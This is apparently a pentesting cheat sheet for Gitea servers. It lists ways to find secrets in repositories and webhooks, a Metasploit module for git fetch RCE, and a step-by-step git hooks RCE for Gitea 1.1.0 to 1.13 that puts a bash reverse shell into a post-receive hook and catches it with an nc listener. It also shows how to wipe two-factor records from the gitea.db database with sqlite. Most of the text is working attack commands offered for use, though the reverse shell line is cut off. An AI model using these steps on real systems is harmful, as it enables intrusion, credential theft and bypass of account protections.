Gitea Pentesting

Last modified: 2023-07-06

Git Web

Gitea is a forge software package for hosting software development version control using Git.

Common Directories


# OAuth



If we can access to repositories, we might be able to find sensitive information e.g. credentials, subdomains, other domains, secret keys, etc.
So check the source code.

Get Secrets in Web Hooks

In the existing repository, we may find the secret value in the repository → Settings → Web Hooks.

Find User Credentials

If we have access to the target system and the repository, that is pushed in Gitea, exists in the system, we might be able to find the credential.

cd /path/to/gitea/repo
git config -l

Git Fetch Remote Code Execution (RCE)


msf> use exploit/multi/http/gitea_git_fetch_rce
msf> (set options)
msf> run

Git Hooks Remote Code Execution (RCE)

It affects Gitea version from 1.1.0 to 1.13.

1. Login

Access to the Gitea dashboard and login as the existing account.

2. Create a New Repository

3. Go to the Repository’s Settings

In the new repository we’ve created, go to Settings → Git Hooks → post-receive.

4. Update to the Reverse Shell Payload

In the post-receive edit page, inject the payload as below:


bash -i >& /dev/tcp/

5. Start Listener in Terminal

To receive the outcoming connection of the git hook, start listener.

nc -lvnp 4444

6. Create the New Repository in Terminal

mkdir test
cd test
git init
git add
git commit -m "first commit"
git remote add origin https://<target-ip>/<username>/test.git
git push -u origin master

After pushing, git hook triggered and execute the reverse shell command.
Now we should get a shell.

Swagger API

We can access to /api/swagger to interact with Swagger API.

Get New Token & Authorize

We need a token to use Swagger API.

  1. Register a new account in Gitea top page.
  2. Go to /user/settings/applications and generate a new token.
  3. Copy the token value e.g. “fa2c2428817d64c1b890d404a905f7be2ffd4bde”.
  4. Go to /api/swagger.
  5. Click “Authorize” button. The modal window opens.
  6. Paste the token in the “Token” section.

Delete the Two-Factor

victim@machine:/gitea/gitea$ python3

>>> import sqlite3
>>> conn=sqlite3.connect('gitea.db')
>>> conn.execute('delete from two_factor')
>>> conn.commit()
>>> conn.close()